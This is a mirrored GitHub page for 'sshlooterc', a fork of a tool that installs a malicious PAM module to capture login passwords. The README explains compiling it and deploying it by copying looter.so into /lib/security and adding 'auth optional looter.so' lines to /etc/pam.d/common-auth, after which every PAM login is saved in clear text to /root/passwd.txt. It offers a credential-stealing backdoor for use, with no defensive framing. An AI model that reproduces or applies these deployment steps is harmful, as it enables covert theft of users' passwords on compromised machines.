Giter Site home page Giter Site logo

ingroxd / sshlooterc Goto Github PK

View Code? Open in Web Editor NEW

This project forked from mthbernardes/sshlooterc

1.0 0.0 0.0 16 KB

Edited version of https://github.com/mthbernardes/sshLooterC which saves credentials locally.

License: GNU General Public License v3.0

Makefile 7.10% C 92.90%

sshlooterc's Introduction

SSHLooter C version with local save

It's a slightly edited version of sshLooterC, which save the passwords in clear text in a local file.
In this version, curl dependencies have been deleted.

What? "Why should I want to save locally the credentials?", you say? I don't know and I don't care!

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

You need to meet the following dependencies:

  • gcc
  • libpam0g-dev

Configure

Edit the looter.c to select where to store passwords.
As is, the passwords will be stored in /root/passwd.txt.
If the path is not a concern you can just skip to compiling.

Compiling

make

Deployment

Copy the looter.so to the wanted machine on /lib/security, then edit the /etc/pam.d/common-auth and append the following lines:

auth optional looter.so
account optional looter.so

From now on, all the (PAM) logins will be stored.

Authors

See also the list of contributors who participated in this project.

Acknowledgments

sshlooterc's People

Contributors

ingroxd avatar mthbernardes avatar

Stargazers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.